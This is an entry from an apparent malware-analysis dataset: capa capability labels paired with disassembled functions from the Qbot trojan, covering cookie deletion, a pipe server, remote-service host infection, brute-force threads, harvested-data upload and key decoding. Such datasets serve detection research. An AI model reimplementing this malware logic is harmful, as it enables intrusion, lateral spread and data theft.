joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005937
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x720
push ebx
push esi
push edi
mov esi, 0x103
xor ebx, ebx
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x107]
push ebx
push eax
mov byte [ebp - 0x108], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x71f]
push ebx
push eax
mov byte [ebp - 0x720], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x61b]
push ebx
push eax
mov byte [ebp - 0x61c], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x517]
push ebx
push eax
mov byte [ebp - 0x518], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x413]
push ebx
push eax
mov byte [ebp - 0x414], bl
call sub.msvcrt.dll_memset
add esp, 0x48
push esi
lea eax, [ebp - 0x30f]
push ebx
push eax
mov byte [ebp - 0x310], bl
call sub.msvcrt.dll_memset
add esp, 0xc
push esi
lea eax, [ebp - 0x20c]
push eax
push dword [0x100525f4]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea edi, [esi + 1]
test eax, eax
jne 0x10005a13
push dword [0x100525f4]
push str.cookie_kill__:_GetEnvironmentVariable__s__failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 0xc
jmp 0x10005a5e
push ebx
push str.Cookies
lea eax, [ebp - 0x20c]
push eax
push edi
lea eax, [ebp - 0x720]
push eax
push 0x100347ec
call fcn.10019170
push ebx
push str.Cookies
push str.Temp
push str.Local_Settings
lea eax, [ebp - 0x20c]
push eax
push edi
lea eax, [ebp - 0x61c]
push eax
push 0x100347ec
call fcn.10019170
add esp, 0x38
push esi
lea eax, [ebp - 0x108]
push eax
push dword [0x100523c0]
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x10005a92
push dword [0x100523c0]
push str.cookie_kill__:_GetEnvironmentVariable__s__failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 0xc
jmp 0x10005b0c
push ebx
push str.Cookies
push str.Windows
push str.Microsoft
lea eax, [ebp - 0x108]
push eax
push edi
lea eax, [ebp - 0x518]
push eax
mov esi, 0x100347ec
push esi
call fcn.10019170
push ebx
push str.SharedObjects
push str.Flash_Player
push str.Macromedia
lea eax, [ebp - 0x108]
push eax
push edi
lea eax, [ebp - 0x414]
push eax
push esi
call fcn.10019170
add esp, 0x40
push ebx
push str.macromedia.com
push str.Flash_Player
push str.Macromedia
lea eax, [ebp - 0x108]
push eax
push edi
lea eax, [ebp - 0x310]
push eax
push esi
call fcn.10019170
add esp, 0x20
lea esi, [ebp - 0x720]
mov dword [ebp - 4], 5
cmp byte [esi], bl
je 0x10005b3c
push esi
push str.cookie_kill__:_processing__s
call fcn.10018570
push esi
call fcn.100220c0
push esi
push str.cookie_kill__:_done__s
call fcn.10018570
add esp, 0x14
add esi, edi
dec dword [ebp - 4]
jne 0x10005b19
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret
Function at 0x10007ab4
Capabilities:
Create pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push esi
push edi
push 0x100503c4
push str..pipe_ssp
lea eax, [ebp - 0x10c]
push 0x100
push eax
call fcn.10019db0
mov esi, 0x80000
push esi
call fcn.10019ae0
xor edi, edi
add esp, 0x14
mov dword [0x1004f0f4], eax
cmp eax, edi
jne 0x10007b0e
push str.PipeServerInit__:_mem_alloc___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffff5
pop eax
jmp 0x10007bc4
lea eax, [ebp - 0xc]
push eax
call fcn.10024840
pop ecx
test eax, eax
jns 0x10007b1f
mov dword [ebp - 0xc], edi
xor eax, eax
cmp eax, dword [ebp - 0xc]
lea ecx, [ebp - 0xc]
sbb eax, eax
and eax, ecx
push eax
push edi
push esi
push esi
push 0xff
push 6
push 0x80003
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x10052200], eax
cmp eax, 0xffffffff
jne 0x10007b75
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push str.PipeServerInit__:_CreateNamedPipe_failed__err_d._n
call esi
push eax
call main
add esp, 0xc
mov dword [0x10052200], edi
push 0xfffffffffffffffe
jmp 0x10007b08
push eax
call fcn.100244a0
push edi
push edi
push edi
push 0x10007804
call fcn.10009e7b
add esp, 0x14
test eax, eax
jne 0x10007ba9
push str.PipeServerInit__:_create_thread___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xfffffffffffffffd
jmp 0x10007b08
call fcn.10003872
lea eax, [ebp - 0x10c]
push eax
push str.PipeServerInit__:_ok__pipe_name_s
call fcn.10018570
pop ecx
xor eax, eax
pop ecx
inc eax
pop edi
pop esi
leave
ret

Function at 0x10008197
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x100521fc]
sub esp, 0x20
push esi
mov esi, dword [ebp + 8]
add esi, esi
push dword [eax + esi*8]
lea eax, [ebp - 0x20]
push str.p_08x
push 0x20
push eax
call fcn.10019db0
lea eax, [ebp - 0x20]
push eax
push dword [ebp + 8]
push str._StopPlugin__:_i_u_szStopEvent_s
call fcn.10018570
lea eax, [ebp - 0x20]
push eax
call fcn.10026710
add esp, 0x20
test eax, eax
je 0x1000824f
mov eax, dword [0x100521fc]
push 0x2710
push dword [eax + esi*8 + 8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x10008201
push str._StopPlugin__:_plugin_process_closed_ok
call fcn.10018570
pop ecx
jmp 0x10008239
cmp eax, 0x102
jne 0x10008218
push str._StopPlugin__:_timeout_waiting_for_plugin_process__terminate
push 0
call main
pop ecx
pop ecx
jmp 0x10008228
push eax
push str._StopPlugin__:_WaitForSingleObject___failed_dwRet_08x
push 0
call main
add esp, 0xc
mov eax, dword [0x100521fc]
push 1
push dword [eax + esi*8 + 8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [0x100521fc]
and dword [eax + esi*8 + 4], 0
push str._StopPlugin__:_ok
call fcn.10018570
jmp 0x1000825c
push str._StopPlugin___failed
push 0
call main
pop ecx
pop ecx
xor eax, eax
pop esi
leave
ret
Function at 0x100092b1
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x10]
push edi
push esi
push str.MyDllMain__:_ul_reason_for_call_08x_lpReserved_p
call fcn.10018570
add esp, 0xc
cmp esi, 1
jne 0x100093cc
call fcn.10019ac0
push str.qbot_dll_main
push 3
call fcn.10018190
push str.____1
call fcn.10018570
push 3
call fcn.1001b4d0
add esp, 0x10
test eax, eax
jns 0x10009310
push str.MyDllMain__:_init_constants_lib___failed
push 0
call main
xor eax, eax
jmp 0x1000940f
xor esi, esi
cmp edi, esi
je 0x100093bd
push edi
push str.MyDllMain__:_pQbotMainDllLoadData__wszQbotinjExePath_S
call fcn.10018570
push 2
push edi
push dword [ebp + 8]
call fcn.10025680
push edi
push 1
push dword [ebp + 8]
push str.MyDllMain__:_hInstance_08x_ul_reason_for_call_u_lpReserved_08x
call fcn.10018570
call fcn.1001bd20
call fcn.1001ee20
push dword [0x10051f84]
push 0x10051d78
push 0x10050940
push dword [0x1004c004]
push dword [section..data]
push dword [ebp + 8]
push str.MyDllMain__:_qbot_main.dll_is_loaded_hInstance0x_08x_version_X._u_home_dir_S_ExePath_S_ExeName_S
call fcn.10018570
add esp, 0x40
lea eax, [ebp + 8]
push eax
push esi
push esi
push 0x10008e1b
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10050318], eax
cmp eax, esi
jne 0x100093a7
push str.MyDllMain__:_CreateThread___qbot_main_thread_failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
jmp 0x100093b8
push eax
push dword [ebp + 8]
push str.MyDllMain__:_CreateThread___qbot_main_thread_ok_thread_id_08x_hMainThread_p.
call fcn.10018570
add esp, 0xc
xor eax, eax
inc eax
jmp 0x10009411
push str.MyDllMain__:_lpReservedNULL____
call fcn.10018570
xor eax, eax
inc eax
jmp 0x10009410
test esi, esi
jne 0x100093f0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
push 0x10051d78
push str.MyDllMain__:______DLL_PROCESS_DETACH__S_thread_id_08x
call fcn.10018570
add esp, 0xc
call fcn.100183a0
jmp 0x100093fd
push esi
push str.MyDllMain__:______ul_reason_for_call_d
call fcn.10018570
pop ecx
pop ecx
push str.TRUE
push str.MyDllMain__:_____return__s
call fcn.10018570
xor eax, eax
inc eax
pop ecx
pop ecx
pop edi
pop esi
pop ebp
ret 0xc
Function at 0x10009e7b
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0x7530
push dword [0x1004f12c]
xor ebx, ebx
call fcn.1001d280
pop ecx
pop ecx
test eax, eax
jns 0x10009eac
push str.create_thread__:_cannot_lock_hThreadsMutex
push ebx
call main
pop ecx
pop ecx
xor eax, eax
jmp 0x1000a071
push esi
push edi
xor esi, esi
mov eax, dword [0x1004f128]
mov edi, esi
shl edi, 5
mov eax, dword [edi + eax]
cmp eax, ebx
je 0x10009ee7
push eax
call fcn.10009d40
pop ecx
test eax, eax
jne 0x10009f06
push str.create_thread__:_dead_thread_found_
call fcn.10018570
mov eax, dword [0x1004f128]
add eax, edi
push ebx
push eax
call fcn.10009d5a
add esp, 0xc
mov eax, dword [0x1004f128]
cmp dword [edi + eax], ebx
je 0x10009f14
cmp esi, 0x80
jne 0x10009f06
push str.create_thread__:_FATAL_ERROR:_no_empty_slot_found___
push ebx
call main
pop ecx
pop ecx
inc esi
cmp esi, 0x80
jb 0x10009eb0
jmp 0x1000a061
shl esi, 5
cmp dword [ebp + 0xc], ebx
je 0x10009f6d
mov edi, dword [ebp + 0x10]
push edi
call fcn.10019ae0
pop ecx
mov ecx, dword [0x1004f128]
mov dword [esi + ecx + 0xc], eax
mov eax, dword [0x1004f128]
mov eax, dword [esi + eax + 0xc]
cmp eax, ebx
jne 0x10009f55
push str.create_thread__:_mem_alloc___thread_data_failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
jmp 0x1000a061
push edi
push dword [ebp + 0xc]
push eax
call fcn.10019c40
mov eax, dword [0x1004f128]
add esp, 0xc
mov dword [esi + eax + 0x10], edi
jmp 0x10009f7a
mov dword [esi + eax + 0xc], ebx
mov eax, dword [0x1004f128]
mov dword [esi + eax + 0x10], ebx
mov eax, dword [0x1004f128]
mov ecx, dword [ebp + 8]
mov dword [esi + eax + 8], ecx
mov eax, dword [0x1004f128]
mov ecx, dword [ebp + 0x14]
push 1
push ebx
mov dword [esi + eax + 0x14], ecx
call fcn.1001d1b0
pop ecx
pop ecx
mov ecx, dword [0x1004f128]
mov dword [esi + ecx + 0x1c], eax
mov eax, dword [0x1004f128]
add eax, esi
lea ecx, [eax + 4]
push ecx
push ebx
push eax
push 0x10009df6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x1004f128]
mov dword [esi + ecx], eax
mov eax, dword [0x1004f128]
mov eax, dword [esi + eax]
cmp eax, ebx
jne 0x1000a024
push str.create_thread__:_CreateThread___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
mov eax, dword [0x1004f128]
pop ecx
pop ecx
push dword [esi + eax + 0x1c]
call dword [0x100522b0]
mov eax, dword [0x1004f128]
lea ecx, [eax + esi + 0xc]
cmp dword [ecx], ebx
je 0x1000a010
push dword [eax + esi + 0x10]
push ecx
call fcn.10019b10
pop ecx
pop ecx
add esi, dword [0x1004f128]
push 0x20
push ebx
push esi
call fcn.10019d20
add esp, 0xc
jmp 0x1000a061
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov eax, dword [0x1004f128]
push dword [esi + eax + 0x1c]
inc dword [0x1004f124]
call fcn.1001d2f0
pop ecx
test eax, eax
jns 0x1000a059
push str.create_thread__:_mutex_unlock___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
mov eax, dword [0x1004f128]
lea ebx, [esi + eax]
push dword [0x1004f12c]
call fcn.1001d2f0
pop ecx
pop edi
mov eax, ebx
pop esi
pop ebx
leave
ret
Function at 0x1000a074
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
cmp edi, 0x7f
ja 0x1000a106
mov eax, dword [0x1004f128]
mov esi, edi
shl esi, 5
mov eax, dword [esi + eax]
test eax, eax
jne 0x1000a09b
push 0xfffffffffffffffe
pop eax
jmp 0x1000a109
push eax
call fcn.10009d40
pop ecx
test eax, eax
mov eax, dword [0x1004f128]
push dword [eax + esi]
mov ecx, dword [eax + esi + 4]
push ecx
push ecx
push edi
je 0x1000a0d4
push str.kill_thread__:_terminate_thread__u_th_id_u___u__th_handle0x_08x
call fcn.10018570
mov eax, dword [0x1004f128]
add esp, 0x14
push 0
push dword [esi + eax]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
jmp 0x1000a0e1
push str.kill_thread__:_thread__u_th_id_u___x__th_handle0x_08x_not_running
call fcn.10018570
add esp, 0x14
add esi, dword [0x1004f128]
push 1
push esi
call fcn.10009d5a
push dword [0x1004f124]
push str.____kill_thread___finished._num_threads_u
call fcn.10018570
add esp, 0x10
xor eax, eax
jmp 0x1000a109
or eax, 0xffffffff
pop edi
pop esi
pop ebp
ret
Function at 0x1000a792
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
xor edi, edi
push str.UploadSeclogData__:_started
mov dword [ebp - 4], edi
mov dword [ebp - 8], 1
call fcn.10018570
push 0x31
call fcn.1001c180
pop ecx
pop ecx
test eax, eax
jne 0x1000a7cf
push str.UploadSeclogData__:_server_link_not_ready__try_later
call fcn.10018570
pop ecx
jmp 0x1000a97b
push edi
call fcn.1001eeb0
push eax
push 0x10038524
push 0x10050940
call fcn.100190c0
add esp, 0x10
mov dword [ebp - 4], eax
cmp eax, edi
je 0x1000a97b
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0x1388
push 0x10051fa8
call fcn.1001d1b0
mov esi, eax
pop ecx
pop ecx
cmp esi, edi
je 0x1000a93f
push dword [ebp - 4]
call fcn.10022150
pop ecx
test eax, eax
jne 0x1000a85d
push 0x93a80
push 0x2b
call fcn.1001c6e0
pop ecx
pop ecx
test eax, eax
jne 0x1000a850
call fcn.10009c17
push 0x2b
call fcn.1001c7b0
mov dword [esp], 0x100503c4
push edi
call fcn.1001c270
pop ecx
pop ecx
push dword [ebp - 4]
call fcn.1001fa70
mov dword [ebp - 8], eax
jmp 0x1000a867
push str.UploadSeclogData__:_src_file_already_exists
call fcn.10018570
pop ecx
push esi
call fcn.1001d2f0
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 8], edi
jle 0x1000a94f
lea eax, [ebp - 0x10]
push eax
call fcn.1001a270
push dword [ebp - 4]
push str.UploadSeclogData__:_ready_to_upload:_crypted_path_S
call fcn.10018570
push 0x33
call fcn.1001c180
add esp, 0x10
test eax, eax
jne 0x1000a915
push 0x12
call fcn.1001c180
pop ecx
test eax, eax
jne 0x1000a8b8
call fcn.100271b0
test eax, eax
je 0x1000a915
push edi
call fcn.1001a270
push eax
push dword [ebp - 4]
lea eax, [ebp - 0x21c]
push str._s._u
push 0x104
push eax
call fcn.10019e20
add esp, 0x18
lea eax, [ebp - 0x21c]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
lea eax, [ebp - 0x21c]
push eax
jne 0x1000a90e
push dword [ebp - 4]
push str.upload_harvest_data__:_MoveFile___failed__S__S
call ebx
push eax
call main
add esp, 0x10
jmp 0x1000a7fb
push str.upload_harvest_data__:_file_saved_as__S
jmp 0x1000a933
push dword [ebp - 4]
call fcn.10004509
pop ecx
test eax, eax
js 0x1000a956
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 4]
push str.UploadSeclogData__:__S_uploaded_ok__file_deleted.
call fcn.10018570
pop ecx
pop ecx
jmp 0x1000a7fb
push str.UploadSeclogData__:_cannot_lock_mutex
call ebx
push eax
call main
pop ecx
jmp 0x1000a960
push str.UploadSeclogData__:_no_logs_to_upload._Exiting.
jmp 0x1000a95b
push str.UploadSeclogData__:_upload_failed.
call fcn.10018570
pop ecx
lea eax, [ebp - 4]
push 0xfffffffffffffffe
push eax
call fcn.10019b10
push str.UploadSeclogData__:_finished.
call fcn.10018570
add esp, 0xc
pop esi
pop ebx
pop edi
leave
ret
Function at 0x1000b21a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x814
and dword [ebp - 4], 0
push esi
push 0x10050d7c
push 0xa
mov esi, eax
lea eax, [ebp - 0x14]
push 6
push eax
call fcn.10018b30
lea eax, [ebp - 0x14]
push eax
call fcn.10018ea0
add esp, 0x14
mov dword [ebp - 4], eax
test eax, eax
jne 0x1000b26a
push str.InfectHost__:_CharToUnicodeDup__:_failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
push 0xa
pop eax
jmp 0x1000b3c6
push ebx
push edi
push dword [ebp + 0x10]
lea eax, [ebp - 0x814]
push dword [ebp + 0xc]
push 0x10038c94
push 0x1ff
push eax
call fcn.10019e20
mov eax, dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
add esp, 0x14
lea ebx, [ebp - 0x814]
call fcn.1000aee4
test eax, eax
je 0x1000b2a8
push 2
pop esi
jmp 0x1000b3a4
push dword [ebp - 4]
lea eax, [ebp - 0x814]
push eax
push str._s_s.exe
lea eax, [ebp - 0x414]
push 0x1ff
push eax
call fcn.10019e20
lea eax, [ebp - 0x414]
push eax
push dword [esi + 0x628]
call fcn.10026b60
add esp, 0x1c
test eax, eax
jns 0x1000b306
lea eax, [ebp - 0x414]
push eax
push dword [esi + 0x628]
push str.InfectHost__:_CopyExeWithoutOverlayW_failed__S__S
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 0x10
push 3
jmp 0x1000b2a2
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x414]
push eax
call fcn.10022150
pop ecx
test eax, eax
jne 0x1000b331
push str.InfectHost__:_file_copied_but_not_exist
push eax
call main
pop ecx
pop ecx
jmp 0x1000b302
lea eax, [ebp - 0x414]
push eax
push str.InfectHost__:_CopyFileW___success__wszRemoteFile_S
call fcn.10018570
lea eax, [ebp - 0x414]
push eax
push esi
call dword [esi + 0x624]
push dword [ebp - 4]
lea eax, [ebp - 0x414]
push dword [esi + 0x62c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.1000b10a
add esp, 0x24
test eax, eax
jne 0x1000b3a2
push dword [esi + 0x62c]
lea eax, [ebp - 0x414]
push eax
push str.InfectHost__:_RunRemoteServiceW___failed_wszRemoteFile_S_wszServiceArgs_S
push 0
call main
add esp, 0x10
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 5
jmp 0x1000b2a2
xor esi, esi
push 1
push 0
lea eax, [ebp - 0x814]
push eax
call dword [0x1004f158]
lea eax, [ebp - 4]
push 0
push eax
call fcn.10019b10
pop ecx
pop ecx
pop edi
mov eax, esi
pop ebx
pop esi
leave
ret
Function at 0x1000ba2b
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
push ebx
push esi
push edi
xor esi, esi
push 0x28
lea eax, [ebp - 0x30]
push esi
push eax
mov dword [ebp - 4], esi
call fcn.10019d20
push 0x50
lea eax, [ebp - 0x80]
push esi
push eax
call fcn.10019d20
mov eax, dword [ebp + 8]
mov ebx, dword [eax + 0x630]
add esp, 0x18
xor edi, edi
mov dword [ebp - 8], edi
lea esi, [ebp - 0x80]
test ebx, ebx
je 0x1000bae4
cmp dword [ebp + edi*4 - 0x30], 0
jne 0x1000badb
mov eax, dword [ebp + 8]
push 1
push dword [ebx + 4]
call dword [eax + 0x620]
pop ecx
pop ecx
test eax, eax
je 0x1000ba9a
push dword [ebx + 4]
push str.RunBruteThreads__:_Skip_already_processed_host__S
call fcn.10018570
mov ebx, dword [ebx]
pop ecx
pop ecx
jmp 0x1000badf
mov eax, dword [ebp + 8]
mov dword [esi], eax
lea eax, [ebp - 8]
push eax
xor eax, eax
push eax
push esi
push 0x1000b746
push eax
push eax
mov dword [ebp + edi*8 - 0x7c], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x1000bbb5
mov dword [ebp + edi*4 - 0x30], eax
push dword [ebx + 4]
push eax
push edi
push str.RunBruteThreads__:__u:__08x_host_S
call fcn.10018570
mov ebx, dword [ebx]
add esp, 0x10
inc dword [ebp - 4]
inc edi
add esi, 8
cmp edi, 0xa
jb 0x1000ba68
mov edi, dword [ebp - 4]
test edi, edi
je 0x1000bbb1
push 0x112a880
push 0
lea eax, [ebp - 0x30]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov esi, eax
cmp esi, edi
jae 0x1000bb15
push esi
push str.RunBruteThreads__:_thread__u_finished
call fcn.10018570
pop ecx
jmp 0x1000bb2e
cmp esi, 0x80
jb 0x1000bb44
sub edi, 0xffffff80
cmp esi, edi
jae 0x1000bb44
push str.WaitForMultipleObjects___returned_WAIT_ABANDONED_0
call fcn.10018570
pop ecx
push 0xa
lea edi, [ebp - 0x80]
lea edx, [ebp - 0x30]
pop eax
mov ecx, esi
call fcn.1000b9f5
dec dword [ebp - 4]
jmp 0x1000bba0
cmp esi, 0x102
jne 0x1000bbca
xor esi, esi
cmp dword [ebp - 4], esi
jbe 0x1000bba0
push 1
push dword [ebp + esi*4 - 0x30]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + esi*8 - 0x7c]
push 4
push 0
push 0
push dword [eax + 4]
push edi
call dword [edi + 0x61c]
add esp, 0x14
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0xa
lea edi, [ebp - 0x80]
lea edx, [ebp - 0x30]
pop eax
mov ecx, esi
call fcn.1000b9f5
dec dword [ebp - 4]
inc esi
cmp esi, dword [ebp - 4]
jb 0x1000bb53
test ebx, ebx
jne 0x1000ba60
cmp dword [ebp - 4], ebx
ja 0x1000ba60
xor eax, eax
jmp 0x1000bbe2
push str.RunBruteThreads__:_CreateThread___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
pop ecx
jmp 0x1000bbdf
push esi
push str.WaitForMultipleObjects___failed:_dwRet_08x
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
add esp, 0xc
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000dfd6
Capabilities:
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
push 6
push 1
xor edi, edi
push 2
mov dword [ebp - 8], edi
mov dword [ebp - 4], edi
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x1000e012
push str.GetNetworkIfacesList__:_socket___failed
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
call main
pop ecx
pop ecx
xor eax, eax
jmp 0x1000e0b9
push esi
mov esi, 0x1300
push esi
call fcn.10019ae0
pop ecx
mov dword [ebp - 4], eax
cmp eax, edi
jne 0x1000e034
push str.GetNetworkIfacesList__:_mem_alloc___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
jmp 0x1000e074
push edi
push edi
lea ecx, [ebp - 8]
push ecx
push esi
push eax
push edi
push edi
push 0x4004747f
push ebx
call dword [sym.imp.WS2_32.dll_WSAIoctl]
test eax, eax
je 0x1000e05b
push str.GetNetworkIfacesList__:_WSAIoctl___failed
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x1000e031
mov eax, dword [ebp - 8]
push 0x4c
xor edx, edx
pop ecx
div ecx
mov dword [0x1004f184], eax
cmp eax, edi
jne 0x1000e092
push str.GetNetworkIfacesList__:_no_interfaces_found
push edi
call main
pop ecx
pop ecx
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
lea eax, [ebp - 4]
push esi
push eax
call fcn.10019b10
pop ecx
pop ecx
xor eax, eax
jmp 0x1000e0b8
push eax
push str.GetNetworkIfacesList__:__d_ifaces_found
call fcn.10018570
pop ecx
pop ecx
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
mov eax, dword [ebp + 8]
cmp eax, edi
je 0x1000e0b5
mov ecx, dword [0x1004f184]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
pop esi
pop edi
pop ebx
leave
ret
Function at 0x1000e444
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push 0x15
call fcn.1001c180
pop ecx
test eax, eax
jne 0x1000e52f
push str.extip:_ExtIpDiscover__:_var_CONFVAR_EXTERNAL_IP_CHECK_not_set
call fcn.10018570
xor edi, edi
push 0xec
mov dword [ebp - 4], edi
call fcn.1001b900
push eax
mov dword [ebp - 4], eax
call fcn.1001d130
push dword [ebp - 4]
mov esi, eax
push str.extip:_ExtIpDiscover__:_szSupernodeMutex_s
call fcn.10018570
lea eax, [ebp - 4]
push eax
call fcn.1001ba10
add esp, 0x18
cmp esi, edi
jne 0x1000e4a5
push str.extip:_ExtIpDiscover__:_supernode_is_already_running
jmp 0x1000e534
push str.extip:_ExtIpDiscover__:_supernode_is_not_running
call fcn.10018570
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1000c0d6
mov esi, eax
cmp esi, edi
jne 0x1000e4dd
push 0x10037904
push str.IP_address_is:__strong_
push str.http:__www.ip_adress.com
call fcn.100094e2
mov esi, eax
add esp, 0xc
cmp esi, edi
jbe 0x1000e528
push 0xc
call fcn.10019ae0
pop ecx
cmp eax, edi
je 0x1000e521
mov ecx, dword [ebp + 8]
push edi
push edi
push eax
push 0x1000e3c5
mov dword [eax + 4], ecx
mov ecx, dword [ebp + 0xc]
push edi
push edi
mov dword [eax], esi
mov dword [eax + 8], ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x1000e53a
push str.extip:_ExtIpDiscover__:_CreateThread___failed
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call main
pop ecx
jmp 0x1000e539
push str.extip:_ExtIpDiscover__:_mem_alloc___failed
jmp 0x1000e512
push str.extip:_ExtIpDiscover__:_my_ip_unknown_yet
jmp 0x1000e534
push str.extip:_ExtIpDiscover__:_var_CONFVAR_EXTERNAL_IP_CHECK_is_already_set
call fcn.10018570
pop ecx
pop edi
pop esi
leave
ret

Function at 0x1000e60b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push dword [ebp + 0xc]
call fcn.10019ae0
mov edi, eax
xor edx, edx
pop ecx
cmp edi, edx
jne 0x1000e62f
push str.DecodePubKey__:_mem_alloc___failed
call fcn.10018570
pop ecx
xor eax, eax
jmp 0x1000e656
cmp dword [ebp + 0xc], edx
jbe 0x1000e654
push esi
mov esi, dword [ebp + 8]
sub esi, edi
mov eax, edx
and eax, 0xf
mov al, byte [eax + str._vqKepZ]
lea ecx, [edx + edi]
xor al, byte [esi + ecx]
inc edx
mov byte [ecx], al
cmp edx, dword [ebp + 0xc]
jb 0x1000e63a
pop esi
mov eax, edi
pop edi
pop ebp
ret